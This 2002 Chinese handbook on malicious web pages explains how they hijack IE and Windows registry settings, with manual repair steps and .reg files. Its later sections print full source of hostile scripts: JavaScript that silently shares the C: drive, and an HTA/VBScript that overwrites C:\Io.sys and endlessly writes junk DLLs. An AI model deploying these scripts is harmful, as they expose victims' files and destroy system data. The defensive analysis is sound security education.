网络恶意代码安全手册

搜 毒 网 制作

http://www.soudu.net/

2002 年 11 月 6 日

目　录

一、恶意代码的起源

电子邮件病毒的危害很多人已经深有体会，相信很多人都曾遭受过电子邮件的毒手。互联网上 80%左右的流行病毒都是通过电子邮件传播的，我们相对来讲对电子邮件病毒都有了一定的防范意识，知道采取一些针对性的措施来防范邮件病毒。但同时，另外一种安全危险却被大家普遍忽视，那就是恶意网页。

其实恶意网页早就不是什么新鲜东西，甚至恶意网页的历史比电子邮件病毒的时间都长，它是伴随着互联网的出现而出现的，跟互联网同步发展；恶意网页前些年不像现在这么普遍存在，同时恶意网页大多数是在一些个人站点的页面上，访问的绝对数量不小，相对数量较少，同时恶意网页一般不具备传染性，所以恶意网页的危害性没有象电子邮件病毒一样产生那么大的危害。大部分是 IE 首页被修改等，但是自从“ 万花病毒 ”的出现改变了人们对网页代码的看法。

从去年开始，恶意网页的危害性渐渐的爆发出来，很多用户受到恶意网页的攻击，注册表被修改。恶意网页的比例上升的很快，到去年年底的时候恶意网页的求救信已经基本和邮件病毒持平，远远超过电子邮件病毒，所以，恶意网页已经成为互联网世界的头号敌人，虽然直接危害暂时还不能和电子邮件相抗衡，但是恶意网页将会是一个长期存在，对互联网安全构成重大威胁的新敌人，足以引起所有上网用户的重视。

网页恶意代码到底是怎么产生的呢？其实它也和病毒一样是人为制造出来的，早期的制造恶意代码的人大多数是出于个人目的，或是为了提高自己

网站的知名度、提高网站的浏览量，或者纯粹是一种恶作剧、一种破坏行为，他们通过在其开通的网站主页源程序里加入几行具有破坏性的代码，当用户打开网页进行浏览是能够修改用户的注册表，后果主要表现在 IE 默认主页被修改，发展到后来出现了最有代表性的具有破坏性的网页恶意代码如“ 万花病毒 ”和“ 混客绝情炸弹 ”。遭受恶意代码破坏的用户往往不清楚自己到底是遭受到病毒的破坏还是黑客的攻击，往往手足无措。这个时候往往需要手动修改注册表，而修改注册表对于普通用户来说又不是一件很容易的事，大多数都会不知所措。本文以网络上常见的恶意代码病毒详细的介绍了各种恶意代码的原理和预防、解决方法，使每一位朋友能解决在网络中遇到的问题。

二、恶意代码的解决方法

那么有没有一种新的办法能够有效的防止恶意网页的侵害呢？答案是肯定的，因为恶意代码都是通过利用 ActiveX 修改注册表重要键值来达到其破坏目的，我们实现对注册表的监视，禁止非法修改注册表就能起到防止作用，能够彻底断绝恶意网页的传播和非法破坏！对于已经受到恶意代码攻击的电脑我们可以自行修改注册表达到解决的方法。现在各个杀毒公司都在自己的软件监测中加入了恶意代码的分析和预防，把恶意代码列为病毒来查杀。如江民公司采用的“ 比特动态滤毒 ”技术来对付恶意网页,它一方面在网页下载到硬盘之前进行实时过滤分析，滤除有害部分代码，保留原有的网页内容，另一方面监视注册表，当注册表的重要系统键值被修改时，会自动报警。彻底断绝了恶意网页的传播途径！

三、恶意代码大曝光

恶意代码注意是通过插在网页中的代码来修改浏览者的注册表而起破坏作用的，如禁止注册表、修改 IE 首页、修改 IE 标题栏、修改 IE 右键菜单、修改 IE 默认搜索引擎、系统启动时弹出对话框、IE 中鼠标右键失效、查看“源文件”菜单被禁用、部分菜单被禁止等。下面我们详细介绍他们的原理和修改方法。

1、浏览网页注册表被禁用

这是由于注册表

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

下的 DWORD 值“DisableRegistryTools”被修改为“1”的缘故，将其键值恢复为“0”即可恢复注册表的使用。

解决办法:

用记事本程序建立以 REG 为后缀名的文件，将下面这些内容复制在其中就可以了：

REGEDIT4

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

“DisableRegistryTools”=dword:00000000

2、篡改 IE 的默认页

有些 IE 被改了起始页后，即使设置了“ 使用默认页 ”仍然无效，这是因为 IE 起始页的默认页也被篡改了。具体说就是以下注册表项被修改：

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL

“ Default_Page_URL ”这个子键的键值即起始页的默认页。

解决办法：

运行注册表编辑器，然后展开上述子键，将“ Default_Page_UR ”子键的键值中的那些篡改网站的网址改掉就行了，或者将其设置为 IE 的默认值。

3、修改 IE 浏览器缺省主页，并且锁定设置项，禁止用户更改

主要是修改了注册表中 IE 设置的下面这些键值(DWORD 值为 1 时为不可选)：

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel

"Settings"=dword:1

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel

"Links"=dword:1

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel

"SecAddSites"=dword:1

解决办法：

将上面这些 DWORD 值改为“ 0 ”即可恢复功能。

4、IE 的默认首页灰色按扭不可选

这是由于注册表

HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel

下的 DWORD 值“ homepage ”的键值被修改的缘故。原来的键值为“ 0 ”，被修改后为“ 1 ”(即为灰色不可选状态)。

解决办法：

将“ homepage ”的键值改为“ 0 ”即可。

5、IE 标题栏被修改

在系统默认状态下，是由应用程序本身来提供标题栏的信息，但也允许用户自行在上述注册表项目中填加信息，而一些恶意的网站正是利用了这一点来得逞的：它们将串值 Window Title 下的键值改为其网站名或更多的广告信息，从而达到改变浏览者 IE 标题栏的目的。

具体说来受到更改的注册表项目为：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title

HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main\Window Title

解决办法：

①在 Windows 启动后，点击“ 开始 ”→“ 运行 ”菜单项，在“ 打开 ”栏中键入 regedit，然后按“ 确定 ”键；

②展开注册表到

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main 下，在右半部分窗口中找到串值“ Window Title ” ，将该串值删除即可，或将 Window Title 的键值改为“ IE 浏览器 ”等你喜欢的名字；

③同理，展开注册表到

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main

然后按②中所述方法处理。

④退出注册表编辑器，重新启动计算机，运行 IE，你会发现困扰你的问题被解决了！

6、IE 右键菜单被修改

受到修改的注册表项目为：

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt

下被新建了网页的广告信息，并由此在 IE 右键菜单中出现！

解决办法：

打开注册标编辑器，找到

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt

删除相关的广告条文即可，注意不要把下载软件 FlashGet 和 Netants 也

删除掉，这两个可是“ 正常 ”的，除非你不想在 IE 的右键菜单中见到它们。

7、IE 默认搜索引擎被修改

在 IE 浏览器的工具栏中有一个搜索引擎的工具按钮，可以实现网络搜索，被篡改后只要点击那个搜索工具按钮就会链接到那个篡改网站。出现这种现象的原因是以下注册表被修改：

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant

解决办法：

运行注册表编辑器，依次展开上述子键，将“ CustomizeSearch ”和“ SearchAssistant ”的键值改为某个搜索引擎的网址即可。

8、系统启动时弹出对话框

受到更改的注册表项目为：

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon

在其下被建立了字符串“ LegalNoticeCaption ”和“ LegalNoticeText ”，其中“ LegalNoticeCaption ”是提示框的标题，“ LegalNoticeText ”是提示框的文本内容。由于它们的存在，就使得我们每次登陆到 Windwos 桌面前都出现一个提示窗口，显示那些网页的广告信息！

解决办法：

打开注册表编辑器，找到

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon

这一个主键，然后在右边窗口中找到“ LegalNoticeCaption ”和“ LegalNoticeText ”这两个字符串，删除这两个字符串就可以解决在登陆时出现提示框的现象了。

9、IE 默认连接首页被修改

IE 浏览器上方的标题栏被改成“ 欢迎访问……网站 ”的样式，这是最常见的篡改手段，受害者众多。

受到更改的注册表项目为：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page

通过修改“ Start Page ”的键值，来达到修改浏览者 IE 默认连接首页的目的，如浏览“ 万花谷 ”就会将你的 IE 默认连接首页修改为“ http://on888.home.chinaren.com ”，即便是出于给自己的主页做广告的目的，也显得太霸道了一些，这也是这类网页惹人厌恶的原因。

解决办法：

①在 Windows 启动后，点击“ 开始 ”→“ 运行 ”菜单项，在“ 打开 ”栏

中键入 regedit，然后按“ 确定 ”键；

②展开注册表到

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main 下，在右半部分窗口中找到串值“ Start Page ”双击 ，将 Start Page 的键值改为“ about:blank ”即可；

③同理，展开注册表到

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main

在右半部分窗口中找到串值“ Start Page ”，然后按②中所述方法处理。

④退出注册表编辑器，重新启动计算机，一切 OK 了！

特殊例子：当 IE 的起始页变成了某些网址后，就算你通过选项设置修改好了，重启以后又会变成他们的网址啦，十分的难缠。其实他们是在你机器里加了一个自运行程序，它会在系统启动时将你的 IE 起始页设成他们的网站。

解决办法：运行注册表编辑器 regedit.exe，然后依次展开

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run

主键，然后将其下的 registry.exe 子键删除，然后删除自运行程序 c:\Program Files\registry.exe，最后从 IE 选项中重新设置起始页。

10、IE 中鼠标右键失效

浏览网页后在 IE 中鼠标右键失效，点击右键没有任何反应！

有的网络流氓为了达到其恶意宣传的目的，将你的右键弹出的功能菜单进行

了修改，并且加入了一些乱七八糟的东西，甚至为了禁止你下载，将 IE 窗口中单击右键的功能都屏蔽掉。

解决办法：

1.右键菜单被修改。打开注册表编辑器，找到 HKEY_CURRENT_USER＼Software＼Microsoft＼Internet Explorer＼MenuExt，删除相关的广告条文。

2.右键功能失效。打开注册表编辑器，展开到 HKEY_CURRENT_USER＼Software＼Policies＼Microsoft＼Internet Explorer＼Restrictions，将其 DWORD 值"NoBrowserContextMenu"的值改为 0。

11、查看“ 源文件 ”菜单被禁用

在 IE 窗口中点击“ 查看 ”→“ 源文件 ”，发现“ 源文件 ”菜单已经被禁用。

恶意网页修改了注册表，具体的位置为：

在注册表

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer

下建立子键“ Restrictions ”，然后在“ Restrictions ”下面建立两个 DWORD 值：

“ NoViewSource ”和“ NoBrowserContextMenu ”，并为这两个 DWORD 值赋值为“ 1 ”。

在注册表

HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions

下，将两个 DWORD 值：“ NoViewSource ”和“ NoBrowserContextMenu ”的键值都改为了“ 1 ”。

通过上面这些键值的修改就达到了在 IE 中使鼠标右键失效，使“ 查看 ”菜单中的“ 源文件 ”被禁用的目的。

解决办法：

将以下内容另存为后缀名为.reg 的注册表文件，比如说 unlock.reg，双击 unlock.reg 导入注册表，不用重启电脑，重新运行 IE 就会发现 IE 的功能恢复正常了。

REGEDIT4

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions

“ NoViewSource ”=dword:00000000

"NoBrowserContextMenu"=dword:00000000

HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions

“ NoViewSource ”=dword:00000000

“ NoBrowserContextMenu ”=dword:00000000

12、浏览网页开始菜单被修改

这是最“ 狠 ”的一种，让浏览者有生不如死的感觉。浏览后不仅有类似

上面所说的那些症状，还会有以下更悲惨的遭遇：

1)禁止“ 关闭系统 ”

2)禁止“ 运行 ”

3)禁止“ 注销 ”

4)隐藏 C 盘——你的 C 盘找不到了！

5)禁止使用注册表编辑器 regedit

6)禁止使用 DOS 程序

7)使系统无法进入“ 实模式 ”

8)禁止运行任何程序

“ 万花病毒 ”就是采用了以上的方法，后面我们将重点分析“ 万花病毒 ”。

13、禁止鼠标右键，否则弹出大量窗口消耗系统资源直到死机

这种情况是网页制作者不希望你查看他的源代码，当你使用鼠标右键查看代码时，网页就会弹出大量窗口，消耗你的系统资源直到死机，这种网页代码在国内不多见。

预防方法：不查看源代码，如果要看可以采用另存为先保存网页再用编辑软件查看。

14、网页中插入病毒

有的网页被插入了病毒，当你浏览时就会被病毒感染，如有的被插入欢乐时光的变种病毒等，这些大多是由于网页编制者自己的疏忽造成的。

预防方法：不浏览该页，安装在线监控杀毒软件，如 KV3000、瑞星、金

山毒霸等都能防止。

15、共享你的硬盘

当你浏览网页时不小心你的 C 盘被改为完全共享 !这样黑客可以用 SMB 扫描器直接登陆你的 C 盘，他可以在硬盘中随意拷贝文件，删除文件，添加文件……并且可以给你上传木马，永久而全面地控制你的机器。

这一般是利用了 MS.ActiveX 元件的写注册表的功能，还有的是调用 FileSystemObject 元件（文件系统对象）。病毒首先得到你的 Windows 目录和 System 目录，再修改注册表，把你的启动目录——"C:\WINDOWS\Start Menu\Programs\启动"设置为完全共享。

防备方法：将 ActiveX 元件、Java 脚本和 Vbs 脚本等全部禁止就可以避免 Bingo。

具体方法是：在 Internet Explorer 菜单中点击“ 工具 ”——“ Internet 选项 ”，在弹出的对话框中选择“ 安全 ”标签，再点击“ 自定义级别 ”按钮，就会弹出“ 安全设置 ”对话框，把其中所有 ActiveX 控件以及 Java 和 Vbs 脚本相关全部选择“ 禁用 ”即可。不过，这样做在以后的网页浏览过程中可能会造成一些善意使用脚本和控件的网站无法正常浏览。当然最好是安装杀毒软件实现在线监控。

我们在后面将详细介绍该病毒。

四、主要网页病毒的分析

1、万花病毒

该病毒是一个比较有代表性的恶意代码网页病毒，最先由搜毒网发现，并提交给了江民科技，具体如下：

该病毒是在一个叫“万花谷”的网站传出，这是利用 Java 最新技术进行破坏的一个恶意代码。

该病毒的技术特征和修复方法：

JS/On888 是一个新的含有有害代码的 ActiveX 网页文件，它通过在一个网络地址来对计算机用户造成破坏,其破坏特性如下：

（1）用户不能正常使用 WINDOWS 的 DOS 功能程序；

（2）用户不能正常退出 WINDOWS，

（3）开始菜单上的“关闭系统”、“运行”等栏目被屏蔽，防止用户重新以 DOS 方式启动，关闭 DOS 命令、关闭 REGEDIT 命令等。

（4）将 IE 的浏览器的首页和收藏夹中都加入了含有该有害网页代码的网络地址。

具体的表现形式是：

a 网络地址是：www.on888.xxx.xxx.com；

b 在 IE 的“收藏夹”中自动加上“万花谷”的快捷方式，网络地址是："http://96xx.xxx.com";

进入该网页的话，如果你的浏览器的版本在 IE4.0 以上，那么该网页显示的是一个有光效滤镜的网页，随着鼠标的移动，会造成光线照在网页图片

不同地方的效果，光效一共有 4 种。

将 IE 的首页通过系统注册表项

HKEY_LOCAL_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", 设置成为"on888.xxx.xxx.com/";

为了达到该网页文件的破坏性，该 ActiveX 对系统的注册表做了如下的修改：

首先在开始菜单上禁止了“ 运行 ”项目，使用户不能通过通常的注册表编辑器来修改该有害网页对系统注册表的修改：

以下的注册表项表现在没有“ 运行 ”菜单：

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun"；

以下的注册表项表现在没有“ 关闭系统 ”项目：

“ HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose"；

以下的注册表项表现在没有“ 注销 ”项目；

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff"；

以下的注册表项表现在没有所有的逻辑驱动器：

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives"；

以下的注册表项表现在禁止注册表的编辑工具 REGEDIT：

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Sys

tem\\DisableRegistryTools

以下的注册表项表现在没有桌面：

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop"；

以下的注册表项表现在禁止运行所有的 DOS 应用程序；

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled"；

以下的注册表项表现在系统不能启动到“ 实模式（传统的 DOS 模式）”下；

"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode"；

以下的注册表项表现在 WINDOWS 系统登录时显示一个登录窗口（在 MICROSOFT 网络用户登录之前）：

"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption",（窗口的标题是） "欢迎来到万花谷!你中了※万花奇毒※.请与 OICQ:4040465 联系!");

"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText",（窗口中的文字是）"欢迎来到万花谷!你中了※万花奇毒※.请与 OICQ:4040465 联系!");

以下的注册表项表现在所有 IE 的窗口都会加上以下的 WINDOWS 标题窗口：

"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\WindowTitle", "欢迎来到万花谷!请与 OICQ:4040465 联系!");

"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "欢迎来到万花谷!请与 OICQ:4040465 联系!");

最后的表现是在用户的计算机的 IE 浏览器上打开无数的窗口，使得 IE 根本无法使用。同时用户正常的一些功能：桌面、开始中的运行、DOS 方式、REGEDIT 等都无法使用。

受害用户的修复方法：系统的注册表的恢复，建议用户使用 F8 启动到 MSDOS 方式下，使用 SCANREG/RESTORE 命令来恢复原来正常的注册表。

恢复系统注册表时必须将 WINDOWS 登录时的键值同时修改，去掉登录时出现的 WINDOWS 登录的对话框，具体涉及的注册表键值是：

"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption"（窗口的标题是）"欢迎来到万花谷!你中了※万花奇毒※.请与 OICQ:4040465 联系，和

"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "欢迎来到万花谷!请与 OICQ:4040465 联系!"

以避免计算机的 IE 浏览器上打开无数的窗口，使得 IE 无法使用。

对于 IE 收藏夹中的地址信息去掉的方法是：将 WINDOWS 的安装目录（一般是 WINDOWS）下的 Favorites 目录下的文件："万花谷.URL"删除该文件。

还有另一种恢复方法：该方法对 WINDOWS9X 有效，中毒后你找到 WINDOWS 下的系统备份文件恢复注册表。并把.HTA 文件删除就可以恢复到没有中毒前的状态。

2、混客绝情炸弹

手工清除“混客绝情炸弹”指南

清除以下键值

HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page

删除以下键

HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title

HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title

删除以下主键(包括子键)

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp

HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon

最后自己手工清除收藏夹中的连接

自动修复“混客绝情炸弹”方法

当然你可以采用网页代码自己自动修复“混客绝情炸弹”的破坏，你把以下的代码保存为.htm 文件，在本机运行后就可以自动修复。

```
<HTML>
<head>
<TITLE>混客炸弹破解</TITLE>
```

```
<meta name="keywords" content="注册表,恶意代码,修改注册表">
<meta name="description" content="Robonic 修改,QQ:10000022,www.J3J4.com">
</head>
<SCRIPT>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function a(){
try
{
b=document.applets[0];
b.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
b.createInstance();
c = b.GetObject();
try
{
c.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\");
c.RegWrite("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank");
c.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Microsoft Internet Explorer");
```

```
c.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title","Microsoft Internet Explorer");
c.RegWrite("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet
Explorer\\Main\\Window Title","Microsoft Internet Explorer");
c.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Curr
entVersion\\Winlogon\\LegalNoticeCaption","");
c.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Curr
entVersion\\Winlogon\\LegalNoticeText","");
c.RegDelete("HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Servic
es\\RemoteAccess\\NoLogon");
c.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoDrives");
c.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoClose");
c.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoDesktop");
c.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoLogOff");
c.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer\\NoRun");
c.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\WinOldApp\\Disabled");
```

```
c.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\WinOldApp\\NoRealMode");
}
catch(e)
{}
}
catch(e)
{}
}
function d()
{
setTimeout("a()", 0);
}
d();
</SCRIPT>
<OBJECT id=closes type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
<input type="button" value=" 请 重 新 启 动 一 下 "
onclick="closes.Click();">
</HTML>
```

3、笑林广记笑话网共享你的硬盘

HTML 源文件

```
〈!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"〉
〈HTML〉〈HEAD〉
〈META content="text/html; charset=gb2312" http-equiv=Content-Type〉
〈META content="MSHTML 5.00.2614.3500" name=GENERATOR〉
〈STYLE〉〈/STYLE〉
〈/HEAD〉
〈BODY bgColor=#c0c0c0〉
〈DIV align=center〉〈FONT size=4〉〈STRONG〉笑林广记笑话集〈/STRONG〉
〈/FONT〉〈/DIV〉
〈DIV align=center〉  〈/DIV〉
〈DIV align=left〉〈FONT size=2〉
你好！我们是笑林广记笑话网，这里有大量的 XXX 级笑话，绝对笑死你！欢迎访问！附件中有极品笑话 N 篇，友情赠送！〈A href="http://www.sexlaugh.com.cn"〉Http://www.sexlaugh.com.cn〈/A〉
〈/FONT〉〈/DIV〉
〈script language=JavaScript〉
function f ()   //改写注册表的函数
{
```

```
var aa,ss;
aa=document.applets[0];
aa.setCLSID ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") ;
aa.createInstance () ;
ss=aa.GetObject () ;
ss.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Flags",302,"REG_DWORD") ;
ss.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Type",0,"REG_DWORD") ;
ss.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Path","C:\\") ;
}
function init ()
{
setTimeout ("f () ", 1000) ;  //每过 1000 毫秒就再次递归调用 f ()
}
init () ;  //调用函数
 〈/script〉
 〈/BODY〉〈/HTML〉
```

这封邮件就是利用了 MS.ActiveX 元件的写注册表的功能，只要你一读这封信，它就会在注册表的 HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\ Network\LanMan 中添加了一个键值 C$，并且将 C

盘改为完全共享！

再来看一看附件 Laugh.hta 吧。查看了一下“ 文件类型 ”，发现“ .hta ”后缀名其实是 HTML Application 文件，可以由 Mshta.exe 解释执行。也是和 WSH、VBS 一样的文本文件，就将它导出为 Txt 文件如下：

```
〈html〉
〈script language=vbs〉
On Error Resume Next ·  容错语句，避免程序崩溃
set aa=CreateObject ("WScript.Shell")·建立 WScript 对象
Set fs = CreateObject ("Scripting.FileSystemObject")·建立文件系统对象
Set dir1 = fs.GetSpecialFolder (0)·得到 Windows 路径
Set dir2 = fs.GetSpecialFolder (1)·得到 System 路径
dir1=dir1+"\START MENU\PROGRAMS\启动"
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Flags",302,"REG_DWORD"·写入 Dword 值 Flags，这是共享类型的标志
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,"REG_DWORD"·写入 Dword 值 Type
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dir1·写入共享资源的绝对路径
a=10
Set Os = CreateObject ("Scriptlet.TypeLib")·建立自定义枚举对象
```

doc="“ Hi ”、“ Hello ”、“ How are you? ”、“ Can you help me? ”、“ We want peace ” 、“ Where will you go? ”、“ Congratulations!!! ”、“ Don ’ t Cry ”、“ Look at the pretty ”、“ Some advice on your shortcoming ”、“ Free XXX Pictures ”、“ A free hot porn site ”、“ Why don ’ t you reply to me? ”、“ How about have dinner with me together? ”、“ Never kiss a stranger ”“ Hi ”、“ Hello ”、“ How are you? ”、“ Can you help me? ”、“ We want peace ” 、“ Where will you go? ”、“ Congratulations!!! ”、“ Don ’ t Cry ”、“ Look at the pretty ”、“ Some advice on your shortcoming ”、“ Free XXX Pictures ”、“ A free hot porn site ”、“ Why don ’ t you reply to me? ”、“ How about have dinner with me together? ”、“ Never kiss a stranger ”“ Hi ”、“ Hello ”、“ How are you? ”、“ Can you help me? ”、“ We want peace ” 、“ Where will you go? ”、“ Congratulations!!! ”、“ Don ’t Cry ”、“ Look at the pretty ”、“ Some advice on your shortcoming ”、“ Free XXX Pictures ”、“ A free hot porn site ”、“ Why don ’ t you reply to me? ”、“ How about have dinner with me together? ”、“ Never kiss a stranger ”“ Hi ”、“ Hello ”、“ How are you? ”、“ Can you help me? ”、“ We want peace ” 、“ Where will you go? ”、“ Congratulations!!! ”、“ Don ’t Cry ”、“ Look at the pretty ”、“ Some advice on your shortcoming ”、“ Free XXX Pictures ”、“ A free hot porn site ”、“ Why don ’ t you reply to me? ”“ How about have dinner with me together? ”
"

·一堆垃圾码，以备写入目标文件

Os.Reset·重置 TypeLib 对象

```
Os.Path = "C:\Io.sys"・TypeLib 对象的目标路径为 C:\Io.sys
Os.Doc = doc・写入的内容——就是上面的一堆垃圾
Os.Write ()・写入！
while true
・死循环，垃圾文件越多越好
a=a+1
Os.Reset
Os.Path = dir2&"\Msvbvm"&a&".dll"
・目标路径为 System 下的 Msvbvm???.dll 文件
Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&
doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d
oc&doc&doc&doc&doc&doc&doc&doc&doc&doc
  ・大量重复，以生成足够大小的文件
Os.Write ()・生成文件！
wend
〈/script〉
〈/Html〉
```

hta 文件的权限比 Html 的权限还大一些，可以调用 FileSystemObject 元件（文件系统对象）。病毒首先得到你的 Windows 目录和 System 目录，再修改注册表，把你的启动目录——"C:\WINDOWS\Start Menu\Programs\启动"设置为完全共享，这样就可以被黑客搜到，他们可以干任何事情了。

五、部分网页病毒源代码

1、共享硬盘

```
〈script language=JavaScript〉
function f ()   //改写注册表的函数
{
var aa,ss;
aa=document.applets[0];
aa.setCLSID ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") ;
aa.createInstance () ;
ss=aa.GetObject () ;
ss.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Flags",302,"REG_DWORD") ;
ss.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Type",0,"REG_DWORD") ;
ss.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Network\\LanMan\\C$\\Path","C:\\") ;
}
function init ()
{
setTimeout ("f () ", 1000) ;  //每过 1000 毫秒就再次递归调用 f ()
}
```

init（）； //调用函数

〈/script〉

2、破坏硬盘，重复写入垃圾

〈script language=vbs〉

On Error Resume Next· 容错语句，避免程序崩溃

set aa=CreateObject（"WScript.Shell"）·建立 WScript 对象

Set fs = CreateObject（"Scripting.FileSystemObject"）·建立文件系统对象

Set dir1 = fs.GetSpecialFolder（0）·得到 Windows 路径

Set dir2 = fs.GetSpecialFolder（1）·得到 System 路径

dir1=dir1+"\START MENU\PROGRAMS\启动"

aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\S$\Flags",302,"REG_DWORD"·写入 Dword 值 Flags，这是共享类型的标志

aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\S$\Type",0,"REG_DWORD"·写入 Dword 值 Type

aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\S$\Path",dir1·写入共享资源的绝对路径

a=10

Set Os = CreateObject（"Scriptlet.TypeLib"）·建立自定义枚举对象

doc="“ Hi ”、“ Hello ”、“ How are you? ”、“ Can you help me? ”、“ We want peace ” 、

